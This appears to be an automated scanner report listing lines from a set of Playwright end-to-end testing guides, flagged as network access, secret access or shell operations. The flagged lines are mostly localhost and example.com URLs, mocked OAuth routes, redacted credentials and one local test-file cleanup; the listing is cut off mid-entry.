    // Create a fresh context with auth headers     const context = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 316
    const context = await playwright.request.newContext({       baseURL: "https://api.example.com",       extraHTTPHeaders: {
  • Network accessline 317
    baseURL: "https://api.example.com",
  • Access to secretsline 319
    [Credential-related source omitted]
  • Network accessline 328
    // Login via API to get a token, then create authenticated context     const loginContext = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 329
    const loginContext = await playwright.request.newContext({       baseURL: "https://api.example.com",     })
  • Network accessline 330
    baseURL: "https://api.example.com",
  • Network accessline 342
    const context = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 343
    baseURL: "https://api.example.com",
  • Network accessline 387
    authenticatedRequest: async ({ playwright }, use) => {     const context = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 388
    const context = await playwright.request.newContext({       baseURL: "https://api.example.com",       extraHTTPHeaders: {
  • Network accessline 389
    baseURL: "https://api.example.com",
  • Access to secretsline 391
    [Credential-related source omitted]
  • Network accessline 399
    adminRequest: async ({ playwright }, use) => {     const loginContext = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 400
    const loginContext = await playwright.request.newContext({       baseURL: "https://api.example.com",     })
  • Network accessline 401
    baseURL: "https://api.example.com",
  • Network accessline 413
    const context = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 414
    baseURL: "https://api.example.com",
  • Access to secretsline 1521
    [Credential-related source omitted]
  • Network accessline 1537
    webServer: {     command: "npm run start:api",     url: "http://localhost:3000/api/health",
  • Network accessline 1538
    command: "npm run start:api",     url: "http://localhost:3000/api/health",     reuseExistingServer: !process.env.CI,
  • Network accessline 1539
    url: "http://localhost:3000/api/health",
  • Network accessline 1541
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 1542
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 1543
    baseURL: "http://localhost:3000",
  • Access to secretsline 1568
    [Credential-related source omitted]
  • Access to secretsline 1573
    [Credential-related source omitted]
  • Access to secretsline 1580
    [Credential-related source omitted]
  • Access to secretsline 1590
    [Credential-related source omitted]

skills/playwright/core/auth-flows.md

  • Network accessline 208
    await page.route("**/api/auth/send-verification", async (route) => {     // Let the request go through to the server     const response = await route.fetch()
  • Network accessline 209
    // Let the request go through to the server     const response = await route.fetch()     const body = await response.json()
  • Network accessline 210
    const response = await route.fetch()
  • Network accessline 298
    let verificationToken = ""   await page.route("**/api/auth/send-verification", async (route) => {     const response = await route.fetch()
  • Network accessline 299
    await page.route("**/api/auth/send-verification", async (route) => {     const response = await route.fetch()     const body = await response.json()
  • Network accessline 300
    const response = await route.fetch()
  • Network accessline 339
    // Intercept the password reset API to capture the reset token   await page.route("**/api/auth/forgot-password", async (route) => {     const response = await route.fetch()
  • Network accessline 340
    await page.route("**/api/auth/forgot-password", async (route) => {     const response = await route.fetch()     const body = await response.json()
  • Network accessline 341
    const response = await route.fetch()
  • Network accessline 407
    await page.route("**/api/auth/forgot-password", async (route) => {     const response = await route.fetch()
  • Network accessline 408
    const response = await route.fetch()
  • Network accessline 453
    // Instead of actually going to Google, redirect back to our callback URL     // with a mock authorization code     const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")
  • Network accessline 454
    // with a mock authorization code     const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")     callbackUrl.searchParams.set("code", "mock-auth-code-12345")
  • Network accessline 455
    const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")
  • Network accessline 479
    email: "googleuser@gmail.com",           name: "Google User",           avatar: "https://example.com/avatar.jpg",
  • Network accessline 480
    name: "Google User",           avatar: "https://example.com/avatar.jpg",         },
  • Network accessline 481
    avatar: "https://example.com/avatar.jpg",
  • Network accessline 499
    // Simulate OAuth provider returning an error   await page.route("**/accounts.google.com/**", async (route) => {     const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")
  • Network accessline 500
    await page.route("**/accounts.google.com/**", async (route) => {     const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")     callbackUrl.searchParams.set("error", "access_denied")
  • Network accessline 501
    const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")
  • Network accessline 524
    test("logs in via mocked Google OAuth callback", async ({ page }) => {   await page.route("**/accounts.google.com/**", async (route) => {     const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")
  • Network accessline 525
    await page.route("**/accounts.google.com/**", async (route) => {     const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")     callbackUrl.searchParams.set("code", "mock-auth-code-12345")
  • Network accessline 526
    const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000")
  • Network accessline 1039
    - [Playwright Authentication Docs](https://playwright.dev/docs/auth)

skills/playwright/core/authentication.md

  • Network accessline 51
    await page.goto("http://localhost:3000/login")
  • Network accessline 69
    export default defineConfig({   use: {     baseURL: "http://localhost:3000",
  • Network accessline 70
    use: {     baseURL: "http://localhost:3000",     storageState: ".auth/user.json",
  • Network accessline 71
    baseURL: "http://localhost:3000",
  • Network accessline 99
    await page.goto("http://localhost:3000/login")
  • Network accessline 116
    module.exports = defineConfig({   use: {     baseURL: "http://localhost:3000",
  • Network accessline 117
    use: {     baseURL: "http://localhost:3000",     storageState: ".auth/user.json",
  • Network accessline 118
    baseURL: "http://localhost:3000",
  • Network accessline 161
    globalSetup: require.resolve("./global-setup"),   use: {     baseURL: "http://localhost:3000",
  • Network accessline 162
    use: {     baseURL: "http://localhost:3000",     storageState: ".auth/user.json",
  • Network accessline 163
    baseURL: "http://localhost:3000",
  • Network accessline 199
    globalSetup: require.resolve("./global-setup"),   use: {     baseURL: "http://localhost:3000",
  • Network accessline 200
    use: {     baseURL: "http://localhost:3000",     storageState: ".auth/user.json",
  • Network accessline 201
    baseURL: "http://localhost:3000",
  • Network accessline 540
    test("login via mocked OAuth flow", async ({ page }) => {   // Intercept the redirect to the OAuth provider   await page.route("https://accounts.google.com/**", async (route) => {
  • Network accessline 541
    // Intercept the redirect to the OAuth provider   await page.route("https://accounts.google.com/**", async (route) => {     // Redirect back to your app's callback with a fake auth code
  • Network accessline 542
    await page.route("https://accounts.google.com/**", async (route) => {
  • Network accessline 543
    // Redirect back to your app's callback with a fake auth code     const callbackUrl = new URL("http://localhost:3000/auth/callback")     callbackUrl.searchParams.set("code", "mock-auth-code-12345")
  • Network accessline 544
    const callbackUrl = new URL("http://localhost:3000/auth/callback")
  • Network accessline 593
    test("login via mocked OAuth flow", async ({ page }) => {   await page.route("https://accounts.google.com/**", async (route) => {
  • Network accessline 594
    await page.route("https://accounts.google.com/**", async (route) => {
  • Network accessline 595
    const callbackUrl = new URL("http://localhost:3000/auth/callback")
  • Access to secretsline 669
    [Credential-related source omitted]
  • Access to secretsline 710
    [Credential-related source omitted]
  • Access to secretsline 804
    [Credential-related source omitted]
  • Network accessline 1081
    // Create API context and login     const apiContext = await playwright.request.newContext({       baseURL: "http://localhost:3000",
  • Network accessline 1082
    const apiContext = await playwright.request.newContext({       baseURL: "http://localhost:3000",     })
  • Network accessline 1083
    baseURL: "http://localhost:3000",
  • Network accessline 1141
    authenticatedPage: async ({ browser, playwright }, use) => {     const apiContext = await playwright.request.newContext({       baseURL: "http://localhost:3000",
  • Network accessline 1142
    const apiContext = await playwright.request.newContext({       baseURL: "http://localhost:3000",     })
  • Network accessline 1143
    baseURL: "http://localhost:3000",
  • Access to secretsline 1352
    [Credential-related source omitted]
  • Access to secretsline 1354
    [Credential-related source omitted]

skills/playwright/core/browser-apis.md

  • Network accessline 175
    // Grant permission dynamically   await context.grantPermissions(["camera"], { origin: "https://localhost:3000" })
  • Network accessline 176
    await context.grantPermissions(["camera"], { origin: "https://localhost:3000" })
  • Network accessline 208
    await context.grantPermissions(["camera"], { origin: "https://localhost:3000" })
  • Network accessline 236
    // Read clipboard content   const clipboardText = await page.evaluate(() => navigator.clipboard.readText())   expect(clipboardText).toContain("https://example.com/share/")
  • Network accessline 238
    expect(clipboardText).toContain("https://example.com/share/")
  • Network accessline 279
    const clipboardText = await page.evaluate(() => navigator.clipboard.readText())   expect(clipboardText).toContain("https://example.com/share/")
  • Network accessline 280
    expect(clipboardText).toContain("https://example.com/share/")

skills/playwright/core/browser-extensions.md

  • Network accessline 145
    test("content script injects price comparison widget", async ({ context }) => {   const page = await context.newPage()   await page.goto("https://example-shop.com/product/123")
  • Network accessline 147
    await page.goto("https://example-shop.com/product/123")
  • Network accessline 155
    test("content script highlights search terms", async ({ context }) => {   const page = await context.newPage()   await page.goto("https://example.com/article")
  • Network accessline 157
    await page.goto("https://example.com/article")
  • Network accessline 171
    test("content script injects price comparison widget", async ({ context }) => {   const page = await context.newPage()   await page.goto("https://example-shop.com/product/123")
  • Network accessline 173
    await page.goto("https://example-shop.com/product/123")

skills/playwright/core/common-pitfalls.md

  • Network accessline 321
    **Why it happens**: Developers start with `page.goto('http://localhost:3000/login')` and never refactor.
  • Network accessline 331
    export default defineConfig({   use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 332
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",   },
  • Network accessline 333
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 341
    // BAD test("bad: hardcoded URL", async ({ page }) => {   await page.goto("http://localhost:3000/login")
  • Network accessline 342
    test("bad: hardcoded URL", async ({ page }) => {   await page.goto("http://localhost:3000/login") })
  • Network accessline 343
    await page.goto("http://localhost:3000/login")
  • Network accessline 358
    module.exports = defineConfig({   use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 359
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",   },
  • Network accessline 360
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 368
    // BAD test("bad: hardcoded URL", async ({ page }) => {   await page.goto("http://localhost:3000/login")
  • Network accessline 369
    test("bad: hardcoded URL", async ({ page }) => {   await page.goto("http://localhost:3000/login") })
  • Network accessline 370
    await page.goto("http://localhost:3000/login")
  • Network accessline 379
    Run against different environments by setting the variable: `BASE_URL=https://staging.example.com npx playwright test`
  • Network accessline 510
    export default defineConfig({   use: {     baseURL: "http://localhost:3000",
  • Network accessline 511
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 512
    baseURL: "http://localhost:3000",
  • Network accessline 515
    webServer: {     command: "npm run start",     url: "http://localhost:3000",
  • Network accessline 516
    command: "npm run start",     url: "http://localhost:3000",     // Reuse existing server locally (faster), start fresh in CI
  • Network accessline 517
    url: "http://localhost:3000",
  • Network accessline 535
    module.exports = defineConfig({   use: {     baseURL: "http://localhost:3000",
  • Network accessline 536
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 537
    baseURL: "http://localhost:3000",
  • Network accessline 539
    webServer: {     command: "npm run start",     url: "http://localhost:3000",
  • Network accessline 540
    command: "npm run start",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 541
    url: "http://localhost:3000",
  • Network accessline 553
    webServer: [   { command: 'npm run start:api', url: 'http://localhost:4000/health', reuseExistingServer: !process.env.CI },
  • Network accessline 554
    { command: 'npm run start:api', url: 'http://localhost:4000/health', reuseExistingServer: !process.env.CI },
  • Network accessline 555
    { command: 'npm run start:web', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI },

skills/playwright/core/component-testing.md

  • Access to secretsline 216
    [Credential-related source omitted]

skills/playwright/core/configuration.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 51
    // ── Shared browser context options ──────────────────────────────   use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 52
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",     actionTimeout: 10_000, // click, fill, etc.
  • Network accessline 53
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 95
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 96
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 97
    url: "http://localhost:3000",
  • Access to secretsline 114
    [Credential-related source omitted]
  • Network accessline 134
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 135
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 173
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 174
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 175
    url: "http://localhost:3000",
  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 203
    const envConfig: Record<string, { baseURL: string; retries: number }> = {   local: { baseURL: "http://localhost:3000", retries: 0 },
  • Network accessline 204
    local: { baseURL: "http://localhost:3000", retries: 0 },
  • Network accessline 205
    staging: { baseURL: "https://staging.example.com", retries: 2 },
  • Network accessline 206
    production: { baseURL: "https://www.example.com", retries: 2 },
  • Network accessline 240
    const envConfig = {   local: { baseURL: "http://localhost:3000", retries: 0 },
  • Network accessline 241
    local: { baseURL: "http://localhost:3000", retries: 0 },
  • Network accessline 242
    staging: { baseURL: "https://staging.example.com", retries: 2 },
  • Network accessline 243
    production: { baseURL: "https://www.example.com", retries: 2 },
  • Network accessline 381
    testMatch: "**/*.spec.ts",   use: {     baseURL: "http://localhost:3000",
  • Network accessline 382
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 383
    baseURL: "http://localhost:3000",
  • Network accessline 387
    ? "npm run build && npm run start" // production build in CI       : "npm run dev", // dev server locally     url: "http://localhost:3000",
  • Network accessline 388
    : "npm run dev", // dev server locally     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 389
    url: "http://localhost:3000",
  • Network accessline 410
    testMatch: "**/*.spec.js",   use: {     baseURL: "http://localhost:3000",
  • Network accessline 411
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 412
    baseURL: "http://localhost:3000",
  • Network accessline 414
    webServer: {     command: process.env.CI ? "npm run build && npm run start" : "npm run dev",     url: "http://localhost:3000",
  • Network accessline 415
    command: process.env.CI ? "npm run build && npm run start" : "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 416
    url: "http://localhost:3000",
  • Network accessline 519
    # .env.example (commit this) BASE_URL=http://localhost:3000
  • Network accessline 520
    BASE_URL=http://localhost:3000
  • Access to secretsline 522
    [Credential-related source omitted]
  • Network accessline 524
    # .env.local (gitignored) BASE_URL=http://localhost:3000
  • Network accessline 525
    BASE_URL=http://localhost:3000
  • Access to secretsline 527
    [Credential-related source omitted]
  • Network accessline 529
    # .env.staging (gitignored) BASE_URL=https://staging.example.com
  • Network accessline 530
    BASE_URL=https://staging.example.com
  • Access to secretsline 532
    [Credential-related source omitted]
  • Access to secretsline 537
    [Credential-related source omitted]
  • Access to secretsline 631
    [Credential-related source omitted]
  • Network accessline 638
    | -------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | -----------------------------------------
  • Network accessline 639
    | `timeout: 300_000` globally                                                                              | Masks flaky tests; CI runs take forever                                                 | Fix the root cause; keep timeout at 30s; 
  • Network accessline 640
    | Hardcoded URLs in tests: `page.goto('http://localhost:3000/login')`                                      | Breaks in every non-local environment                                                   | Use `baseURL` in config, then `page.goto(
  • Network accessline 654
    **Cause**: Using `page.goto('http://localhost:3000/path')` instead of `page.goto('/path')`. When `goto` receives an absolute URL, it ignores `baseURL`.
  • Network accessline 659
    // Wrong -- ignores baseURL await page.goto("http://localhost:3000/dashboard")
  • Network accessline 660
    await page.goto("http://localhost:3000/dashboard")
  • Network accessline 679
    webServer: {     command: "npm run dev",     url: "http://localhost:3000/api/health", // use a real endpoint
  • Network accessline 680
    command: "npm run dev",     url: "http://localhost:3000/api/health", // use a real endpoint     reuseExistingServer: !process.env.CI,
  • Network accessline 681
    url: "http://localhost:3000/api/health", // use a real endpoint

skills/playwright/core/debugging.md

  • Network accessline 165
    // Or open from URL: // npx playwright show-trace https://ci.example.com/artifacts/trace.zip
  • Network accessline 166
    // npx playwright show-trace https://ci.example.com/artifacts/trace.zip

skills/playwright/core/drag-and-drop.md

  • Network accessline 915
    - [Playwright Drag and Drop Docs](https://playwright.dev/docs/input#drag-and-drop) - [core/file-upload-download.md](file-upload-download.md) -- File drop zones specifically

skills/playwright/core/error-and-edge-cases.md

  • Network accessline 813
    await page.route("**/api/orders", (route) => {     requests.push(route.request().method())
  • Network accessline 814
    requests.push(route.request().method())
  • Network accessline 832
    // The app should prevent duplicate submissions   // (button disabled after first click, or server deduplication)   expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1)
  • Network accessline 833
    // (button disabled after first click, or server deduplication)   expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1) })
  • Network accessline 834
    expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1)
  • Network accessline 883
    await page.route("**/api/orders", (route) => {     requests.push(route.request().method())
  • Network accessline 884
    requests.push(route.request().method())
  • Network accessline 899
    expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1)

skills/playwright/core/error-index.md

  • Network accessline 385
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 386
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 387
    url: "http://localhost:3000",
  • Network accessline 390
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 391
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 392
    baseURL: "http://localhost:3000",
  • Network accessline 402
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 403
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 404
    url: "http://localhost:3000",
  • Network accessline 407
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 408
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 409
    baseURL: "http://localhost:3000",
  • Network accessline 1016
    {       command: "npm run start:api",       url: "http://localhost:4000/health",
  • Network accessline 1017
    command: "npm run start:api",       url: "http://localhost:4000/health",       reuseExistingServer: !process.env.CI,
  • Network accessline 1018
    url: "http://localhost:4000/health",
  • Network accessline 1021
    {       command: "npm run start:web",       url: "http://localhost:3000",
  • Network accessline 1022
    command: "npm run start:web",       url: "http://localhost:3000",       reuseExistingServer: !process.env.CI,
  • Network accessline 1023
    url: "http://localhost:3000",
  • Network accessline 1026
    ],   use: {     baseURL: "http://localhost:3000",
  • Network accessline 1027
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 1028
    baseURL: "http://localhost:3000",
  • Network accessline 1032
    // In tests, use the request fixture with explicit baseURL for API calls test("fetch users", async ({ request }) => {   const response = await request.get("http://localhost:4000/api/users")
  • Network accessline 1033
    test("fetch users", async ({ request }) => {   const response = await request.get("http://localhost:4000/api/users")   expect(response.ok()).toBeTruthy()
  • Network accessline 1034
    const response = await request.get("http://localhost:4000/api/users")
  • Network accessline 1045
    {       command: "npm run start:api",       url: "http://localhost:4000/health",
  • Network accessline 1046
    command: "npm run start:api",       url: "http://localhost:4000/health",       reuseExistingServer: !process.env.CI,
  • Network accessline 1047
    url: "http://localhost:4000/health",
  • Network accessline 1050
    {       command: "npm run start:web",       url: "http://localhost:3000",
  • Network accessline 1051
    command: "npm run start:web",       url: "http://localhost:3000",       reuseExistingServer: !process.env.CI,
  • Network accessline 1052
    url: "http://localhost:3000",
  • Network accessline 1055
    ],   use: {     baseURL: "http://localhost:3000",
  • Network accessline 1056
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 1057
    baseURL: "http://localhost:3000",
  • Network accessline 1066
    ### "Request was not handled: GET https://..."
  • Dangerous shell operationline 1862
    rm -f playwright/.auth/user.json
  • Network accessline 1919
    4. **Check the locator** — Run `npx playwright codegen <url>` to verify locators against the live page. 5. **Check the Playwright version** — Run `npx playwright --version`. Ensure `@playwright/test` and browser binaries are the same versio
  • Network accessline 1921
    6. **Search the Playwright issue tracker** — Many errors have known solutions in [github.com/microsoft/playwright/issues](https://github.com/microsoft/playwright/issues).

skills/playwright/core/file-upload-download.md

  • Access to secretsline 946
    [Credential-related source omitted]
  • Network accessline 978
    - [Playwright Upload Docs](https://playwright.dev/docs/input#upload-files) - [Playwright Download Docs](https://playwright.dev/docs/downloads)
  • Network accessline 979
    - [Playwright Download Docs](https://playwright.dev/docs/downloads)

skills/playwright/core/fixtures-and-hooks.md

  • Network accessline 137
    authToken: [     async ({}, use) => {       const response = await fetch(`${process.env.API_URL}/auth/token`, {
  • Network accessline 138
    async ({}, use) => {       const response = await fetch(`${process.env.API_URL}/auth/token`, {         method: "POST",
  • Network accessline 139
    const response = await fetch(`${process.env.API_URL}/auth/token`, {
  • Network accessline 174
    authToken: [     async ({}, use) => {       const response = await fetch(`${process.env.API_URL}/auth/token`, {
  • Network accessline 175
    async ({}, use) => {       const response = await fetch(`${process.env.API_URL}/auth/token`, {         method: "POST",
  • Network accessline 176
    const response = await fetch(`${process.env.API_URL}/auth/token`, {
  • Network accessline 321
    apiClient: async ({ playwright }, use) => {     const api = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 322
    [Credential-related source omitted]
  • Network accessline 323
    baseURL: "https://api.example.com",
  • Access to secretsline 324
    [Credential-related source omitted]
  • Network accessline 378
    apiClient: async ({ playwright }, use) => {     const api = await playwright.request.newContext({       baseURL: "https://api.example.com",
  • Network accessline 379
    [Credential-related source omitted]
  • Network accessline 380
    baseURL: "https://api.example.com",
  • Access to secretsline 381
    [Credential-related source omitted]
  • Network accessline 779
    sharedToken: [     async ({}, use) => {       const res = await fetch(`${process.env.API_URL}/auth/service-token`, {
  • Network accessline 780
    async ({}, use) => {       const res = await fetch(`${process.env.API_URL}/auth/service-token`, {         method: "POST",
  • Network accessline 781
    const res = await fetch(`${process.env.API_URL}/auth/service-token`, {
  • Access to secretsline 784
    [Credential-related source omitted]

skills/playwright/core/flaky-tests.md

  • Network accessline 374
    webServer: {     command: "npm run start",     url: "http://localhost:3000",
  • Network accessline 375
    command: "npm run start",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 376
    url: "http://localhost:3000",
  • Network accessline 439
    webServer: {     command: "npm run start",     url: "http://localhost:3000",
  • Network accessline 440
    command: "npm run start",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 441
    url: "http://localhost:3000",
  • Network accessline 697
    // RULE 6: Use baseURL — never hardcode full URLs in tests     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 698
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 710
    webServer: {     command: "npm run start",     url: "http://localhost:3000",
  • Network accessline 711
    command: "npm run start",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 712
    url: "http://localhost:3000",
  • Network accessline 755
    use: {     trace: "on-first-retry",     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 756
    trace: "on-first-retry",     baseURL: process.env.BASE_URL || "http://localhost:3000",     contextOptions: {
  • Network accessline 757
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 763
    webServer: {     command: "npm run start",     url: "http://localhost:3000",
  • Network accessline 764
    command: "npm run start",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 765
    url: "http://localhost:3000",

skills/playwright/core/locator-strategy.md

  • Network accessline 601
    - [Playwright Locators documentation](https://playwright.dev/docs/locators)
  • Network accessline 602
    - [Playwright Best Practices](https://playwright.dev/docs/best-practices)
  • Network accessline 603
    - [ARIA Roles reference (MDN)](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles)

skills/playwright/core/mobile-and-responsive.md

  • Network accessline 1651
    **Cause**: Service workers require HTTPS or localhost. Playwright's default `baseURL` of `http://localhost:3000` works, but other HTTP origins do not.
  • Network accessline 1656
    export default defineConfig({   use: {     baseURL: "http://localhost:3000", // Works for service workers
  • Network accessline 1657
    use: {     baseURL: "http://localhost:3000", // Works for service workers     // baseURL: 'http://192.168.1.100:3000',   // Does NOT work -- not localhost
  • Network accessline 1658
    baseURL: "http://localhost:3000", // Works for service workers
  • Network accessline 1659
    // baseURL: 'http://192.168.1.100:3000',   // Does NOT work -- not localhost

skills/playwright/core/multi-user-and-collaboration.md

  • Access to secretsline 461
    [Credential-related source omitted]

skills/playwright/core/network-mocking.md

  • Network accessline 12
    // Modify a real response before it reaches the browser await page.route("**/api/users", async (route) => {   const response = await route.fetch()
  • Network accessline 13
    await page.route("**/api/users", async (route) => {   const response = await route.fetch()   const json = await response.json()
  • Network accessline 14
    const response = await route.fetch()
  • Network accessline 379
    **Use when**: You need the real API response but want to tweak specific fields -- inject test data, override feature flags, simulate edge cases in real data. **Avoid when**: You can fully mock the response. `route.fetch()` adds a real netwo
  • Network accessline 380
    **Avoid when**: You can fully mock the response. `route.fetch()` adds a real network round-trip, so it is slower.
  • Network accessline 388
    await page.route("**/api/users", async (route) => {     // Fetch the real response from the server     const response = await route.fetch()
  • Network accessline 389
    // Fetch the real response from the server     const response = await route.fetch()     const users = await response.json()
  • Network accessline 390
    const response = await route.fetch()
  • Network accessline 403
    test("override feature flags from real config", async ({ page }) => {   await page.route("**/api/config", async (route) => {     const response = await route.fetch()
  • Network accessline 404
    await page.route("**/api/config", async (route) => {     const response = await route.fetch()     const config = await response.json()
  • Network accessline 405
    const response = await route.fetch()
  • Network accessline 422
    test("modify response headers", async ({ page }) => {   await page.route("**/api/data", async (route) => {     const response = await route.fetch()
  • Network accessline 424
    const response = await route.fetch()
  • Network accessline 445
    test("modify a real API response", async ({ page }) => {   await page.route("**/api/users", async (route) => {     const response = await route.fetch()
  • Network accessline 446
    await page.route("**/api/users", async (route) => {     const response = await route.fetch()     const users = await response.json()
  • Network accessline 447
    const response = await route.fetch()
  • Network accessline 459
    test("override feature flags from real config", async ({ page }) => {   await page.route("**/api/config", async (route) => {     const response = await route.fetch()
  • Network accessline 460
    await page.route("**/api/config", async (route) => {     const response = await route.fetch()     const config = await response.json()
  • Network accessline 461
    const response = await route.fetch()
  • Network accessline 1109
    // ** matches any path segments (including nested)   await page.route("**/api/users", (route) => route.fulfill({ json: [] }))   // Matches: https://example.com/api/users
  • Network accessline 1110
    await page.route("**/api/users", (route) => route.fulfill({ json: [] }))   // Matches: https://example.com/api/users   // Matches: https://example.com/v2/api/users
  • Network accessline 1111
    // Matches: https://example.com/api/users
  • Network accessline 1112
    // Matches: https://example.com/v2/api/users
  • Network accessline 1150
    test("match all requests on a domain", async ({ page }) => {   // Block everything from a specific domain   await page.route("https://analytics.example.com/**", (route) => route.abort())
  • Network accessline 1152
    await page.route("https://analytics.example.com/**", (route) => route.abort())
  • Network accessline 1193
    test("match all requests on a domain", async ({ page }) => {   await page.route("https://analytics.example.com/**", (route) => route.abort())
  • Network accessline 1194
    await page.route("https://analytics.example.com/**", (route) => route.abort())
  • Network accessline 1214
    | ----------------------------------------- | ------------------------------------------------------------- | -------------------------------------------------------- | | Frontend depends on an external API       | `route.fulfill()`        
  • Network accessline 1215
    | Frontend depends on an external API       | `route.fulfill()`                                             | Deterministic data, no external dependency, fast         | | Need to test real API but tweak one field | `route.fetch()` + modify 
  • Network accessline 1216
    | Need to test real API but tweak one field | `route.fetch()` + modify + `route.fulfill()`                  | Uses real data as baseline, only overrides what you need |
  • Network accessline 1258
    - Ensure glob pattern matches. `**/api/users` does not match `http://localhost:3000/api/users?page=1` -- use `**/api/users*` to include query strings.
  • Network accessline 1300
    ### `route.fetch()` causes infinite loop
  • Network accessline 1302
    **Cause**: `route.fetch()` re-issues the request, which can re-trigger the same route handler if the URL pattern matches.
  • Network accessline 1304
    **Fix**: Playwright handles this correctly for the same route handler -- `route.fetch()` will not re-enter the handler that called it. But if you have multiple overlapping route handlers, they can interfere. Simplify to a single handler per

skills/playwright/core/nextjs.md

  • Network accessline 23
    # .env.test — loaded by Next.js automatically when NODE_ENV=test NEXT_PUBLIC_API_URL=http://localhost:3000/api
  • Network accessline 24
    NEXT_PUBLIC_API_URL=http://localhost:3000/api
  • Network accessline 25
    [Credential-related source omitted]
  • Network accessline 27
    NEXTAUTH_URL=http://localhost:3000
  • Network accessline 51
    use: {     baseURL: "http://localhost:3000",
  • Network accessline 52
    baseURL: "http://localhost:3000",
  • Network accessline 70
    ? "npm run build && npm run start" // production build in CI       : "npm run dev", // dev server locally     url: "http://localhost:3000",
  • Network accessline 71
    : "npm run dev", // dev server locally     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 72
    url: "http://localhost:3000",
  • Network accessline 96
    use: {     baseURL: "http://localhost:3000",
  • Network accessline 97
    baseURL: "http://localhost:3000",
  • Network accessline 113
    webServer: {     command: process.env.CI ? "npm run build && npm run start" : "npm run dev",     url: "http://localhost:3000",
  • Network accessline 114
    command: process.env.CI ? "npm run build && npm run start" : "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 115
    url: "http://localhost:3000",
  • Network accessline 130
    # .env.test (commit this -- no real secrets) NEXT_PUBLIC_API_URL=http://localhost:3000/api
  • Network accessline 131
    NEXT_PUBLIC_API_URL=http://localhost:3000/api
  • Network accessline 975
    ? 'npm run build && npm run start'     : 'npx next dev --turbopack',   url: 'http://localhost:3000',
  • Network accessline 976
    : 'npx next dev --turbopack',   url: 'http://localhost:3000',   reuseExistingServer: !process.env.CI,
  • Network accessline 977
    url: 'http://localhost:3000',
  • Network accessline 988
    {     command: 'npm run dev:api',     url: 'http://localhost:4000/health',
  • Network accessline 989
    command: 'npm run dev:api',     url: 'http://localhost:4000/health',     reuseExistingServer: !process.env.CI,
  • Network accessline 990
